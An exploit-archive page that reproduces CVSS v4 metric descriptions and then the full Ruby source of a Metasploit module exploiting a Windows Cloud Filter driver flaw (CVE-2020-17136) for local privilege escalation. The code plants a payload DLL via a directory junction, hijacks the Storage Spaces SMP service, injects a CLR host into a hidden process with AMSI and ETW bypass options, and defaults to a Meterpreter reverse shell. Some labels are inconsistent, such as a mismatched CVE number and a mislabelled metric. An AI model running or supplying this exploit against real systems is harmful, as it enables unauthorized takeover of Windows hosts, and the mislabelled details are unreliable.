The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements
Present
AT
The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: A race condition must be won to successfully exploit the vulnerability. The successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker. The attack may need to be launched multiple times against a single target before being successful. Network injection. The attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Confidentiality Impact to the Vulnerable System
High
VC
There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Availability Impact to the Vulnerable System
High
VI
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the Vulnerable System. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the Vulnerable System.
Availability Impact to the Vulnerable System
High
VA
There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent System Confidentiality Impact
Negligible
SC
There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Integrity Impact to the Subsequent System
None
SI
There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Availability Impact to the Subsequent System
None
SA
There is no loss of availibility within the Subsequent System or all availibility impact is constrained to the Vulnerable System.
Below is a copy: Cloud Filter Arbitrary File Creation / Privilege Escalation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
include Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::ReflectiveDLLInjection
include Msf::Post::Windows::Dotnet
include Msf::Post::Windows::Services
include Msf::Post::Windows::FileSystem
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'CVE-2020-1170 Cloud Filter Arbitrary File Creation EOP',
'Description' => %q{
The Cloud Filter driver, cldflt.sys, on Windows 10 v1803 and later, prior to the December
2020 updates, did not set the IO_FORCE_ACCESS_CHECK or OBJ_FORCE_ACCESS_CHECK flags when
calling FltCreateFileEx() and FltCreateFileEx2() within its HsmpOpCreatePlaceholders()
function with attacker controlled input. This meant that files were created with
KernelMode permissions, thereby bypassing any security checks that would otherwise
prevent a normal user from being able to create files in directories
they don't have permissions to create files in.
This module abuses this vulnerability to perform a DLL hijacking attack against the
Microsoft Storage Spaces SMP service, which grants the attacker code execution as the
NETWORK SERVICE user. Users are strongly encouraged to set the PAYLOAD option to one
of the Meterpreter payloads, as doing so will allow them to subsequently escalate their
new session from NETWORK SERVICE to SYSTEM by using Meterpreter's "getsystem" command
to perform RPCSS Named Pipe Impersonation and impersonate the SYSTEM user.
},
'License' => MSF_LICENSE,
'Author' => [
'James Foreshaw', # Vulnerability discovery and PoC creator
'Grant Willcox' # Metasploit module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Privileged' => true,
'Arch' => [ARCH_X64],
'Targets' =>
[
[ 'Windows DLL Dropper', { 'Arch' => [ARCH_X64], 'Type' => :windows_dropper } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2020-03-10',
'References' => [
['CVE', '2020-17136'],
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2082'],
['URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-17136']
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
}
)
)
register_options(
[
OptBool.new('AMSIBYPASS', [true, 'Enable Amsi bypass', true]),
OptBool.new('ETWBYPASS', [true, 'Enable Etw bypass', true]),
OptInt.new('WAIT', [false, 'Time in seconds to wait', 5])
], self.class
)
register_advanced_options(
[
OptBool.new('KILL', [true, 'Kill the injected process at the end of the task', false])
]
)
end
def check_requirements(clr_req, installed_dotnet_versions)
installed_dotnet_versions.each do |fi|
if clr_req == 'v4.0.30319'
if fi[0] == '4'
vprint_status('Requirements ok')
return true
end
elsif fi[0] == '3'
vprint_status('Requirements ok')
return true
end
end
print_error('Required dotnet version not present')
false
end
def check
sysinfo_value = sysinfo['OS']
if sysinfo_value !~ /windows/i
# Non-Windows systems are definitely not affected.
return CheckCode::Safe('Target is not a Windows system, so it is not affected by this vulnerability!')
end
build_num_raw = cmd_exec('cmd.exe /c ver')
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)
if build_num.nil?
return CheckCode::Unknown("Couldn't retrieve the target's build number!")
else
build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0]
vprint_status("Target's build number: #{build_num}")
end
build_num_gemversion = Gem::Version.new(build_num)
# Build numbers taken from https://www.qualys.com/research/security-alerts/2020-03-10/microsoft/
if (build_num_gemversion >= Gem::Version.new('10.0.19042.0')) && (build_num_gemversion < Gem::Version.new('10.0.19042.685')) # Windows 10 20H2
return CheckCode::Appears('A vulnerable Windows 10 20H2 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.19041.0')) && (build_num_gemversion < Gem::Version.new('10.0.19041.685')) # Windows 10 v2004 aka 20H1
return CheckCode::Appears('A vulnerable Windows 10 20H1 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18363.0')) && (build_num_gemversion < Gem::Version.new('10.0.18363.1256')) # Windows 10 v1909
return CheckCode::Appears('A vulnerable Windows 10 v1909 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.18362.0')) && (build_num_gemversion < Gem::Version.new('10.0.18362.1256')) # Windows 10 v1903
return CheckCode::Appears('A vulnerable Windows 10 v1903 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17763.0')) && (build_num_gemversion < Gem::Version.new('10.0.17763.1637')) # Windows 10 v1809
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
elsif (build_num_gemversion >= Gem::Version.new('10.0.17134.0')) && (build_num_gemversion < Gem::Version.new('10.0.17134.1902')) # Windows 10 v1803
return CheckCode::Appears('A vulnerable Windows 10 v1809 build was detected!')
else
return CheckCode::Safe('The build number of the target machine does not appear to be a vulnerable version!')
end
end
def exploit
if sysinfo['Architecture'] != 'x64'
fail_with(Failure::NoTarget, 'This module currently only supports targeting x64 systems!')
elsif session.arch != 'x64'
fail_with(Failure::NoTarget, 'Sorry, WoW64 is not supported at this time!')
end
dir_junct_path = 'C:\\Windows\\Temp'
intermediate_dir = rand_text_alpha(10).to_s
junction_dir = rand_text_alpha(10).to_s
path_to_intermediate_dir = "#{dir_junct_path}\\#{intermediate_dir}"
mkdir("#{path_to_intermediate_dir}")
if !directory?("#{path_to_intermediate_dir}")
fail_with(Failure::UnexpectedReply, 'Could not create the intermediate directory!')
end
register_dir_for_cleanup("#{path_to_intermediate_dir}")
mkdir("#{path_to_intermediate_dir}\\#{junction_dir}")
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
fail_with(Failure::UnexpectedReply, 'Could not create the junction directory as a folder!')
end
mount_handle = create_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", 'C:\\')
if !directory?("#{path_to_intermediate_dir}\\#{junction_dir}")
fail_with(Failure::UnexpectedReply, 'Could not transform the junction directory into a junction!')
end
exe_path = 'data/exploits/CVE-2020-17136/cloudFilterEOP.exe'
unless File.file?(exe_path)
fail_with(Failure::BadConfig, 'Assembly not found')
end
installed_dotnet_versions = get_dotnet_versions
vprint_status("Dot Net Versions installed on target: #{installed_dotnet_versions}")
if installed_dotnet_versions == []
fail_with(Failure::BadConfig, 'Target has no .NET framework installed')
end
if check_requirements('v4.0.30319', installed_dotnet_versions) == false
fail_with(Failure::BadConfig, 'CLR required for assembly not installed')
end
payload_path = "C:\\Windows\\Temp\\#{rand_text_alpha(16)}.dll"
print_status("Dropping payload dll at #{payload_path} and registering it for cleanup...")
write_file(payload_path, generate_payload_dll)
register_file_for_cleanup(payload_path)
execute_assembly(exe_path, "#{path_to_intermediate_dir} #{junction_dir}\\Windows\\System32\\healthapi.dll #{payload_path}")
service_start('smphost')
register_file_for_cleanup('C:\\Windows\\System32\\healthapi.dll')
sleep(3)
delete_mount_point("#{path_to_intermediate_dir}\\#{junction_dir}", mount_handle)
end
def pid_exists(pid)
mypid = client.sys.process.getpid.to_i
if pid == mypid
print_bad('Cannot select the current process as the injection target')
return false
end
host_processes = client.sys.process.get_processes
if host_processes.empty?
print_bad('No running processes found on the target host.')
return false
end
theprocess = host_processes.find { |x| x['pid'] == pid }
!theprocess.nil?
end
def launch_process
process_name = 'notepad.exe'
print_status("Launching #{process_name} to host CLR...")
process = client.sys.process.execute(process_name, nil, {
'Channelized' => true,
'Hidden' => true,
'UseThreadToken' => true,
'ParentPid' => 0
})
hprocess = client.sys.process.open(process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{hprocess.pid} launched.")
[process, hprocess]
end
def inject_hostclr_dll(process)
print_status("Reflectively injecting the Host DLL into #{process.pid}..")
library_path = ::File.join(Msf::Config.data_directory, 'post', 'execute-dotnet-assembly', 'HostingCLRx64.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting Host into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
[exploit_mem, offset]
end
def execute_assembly(exe_path, exe_args)
if sysinfo.nil?
fail_with(Failure::BadConfig, 'Session invalid')
else
print_status("Running module against #{sysinfo['Computer']}")
end
if datastore['WAIT'].zero?
print_warning('Output unavailable as wait time is 0')
end
process, hprocess = launch_process
exploit_mem, offset = inject_hostclr_dll(hprocess)
assembly_mem = copy_assembly(exe_path, hprocess, exe_args)
print_status('Executing...')
hprocess.thread.create(exploit_mem + offset, assembly_mem)
if datastore['WAIT'].positive?
sleep(datastore['WAIT'])
read_output(process)
end
if datastore['KILL']
print_good("Killing process #{hprocess.pid}")
client.sys.process.kill(hprocess.pid)
end
print_good('Execution finished.')
end
def copy_assembly(exe_path, process, exe_args)
print_status("Host injected. Copy assembly into #{process.pid}...")
int_param_size = 8
sign_flag_size = 1
amsi_flag_size = 1
etw_flag_size = 1
assembly_size = File.size(exe_path)
cln_params = ''
cln_params << exe_args
cln_params << "\x00"
payload_size = amsi_flag_size + etw_flag_size + sign_flag_size + int_param_size
payload_size += assembly_size + cln_params.length
assembly_mem = process.memory.allocate(payload_size, PAGE_READWRITE)
params = [
assembly_size,
cln_params.length,
datastore['AMSIBYPASS'] ? 1 : 0,
datastore['ETWBYPASS'] ? 1 : 0,
2
].pack('IICCC')
params += cln_params
process.memory.write(assembly_mem, params + File.read(exe_path))
print_status('Assembly copied.')
assembly_mem
end
def read_output(process)
print_status('Start reading output')
old_timeout = client.response_timeout
client.response_timeout = 5
begin
loop do
output = process.channel.read
if !output.nil? && !output.empty?
output.split("\n").each { |x| print_good(x) }
end
break if output.nil? || output.empty?
end
rescue Rex::TimeoutError
vprint_warning('Time out exception: wait limit exceeded (5 sec)')
rescue ::StandardError => e
print_error("Exception: #{e.inspect}")
end
client.response_timeout = old_timeout
print_status('End output.')
end
end
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum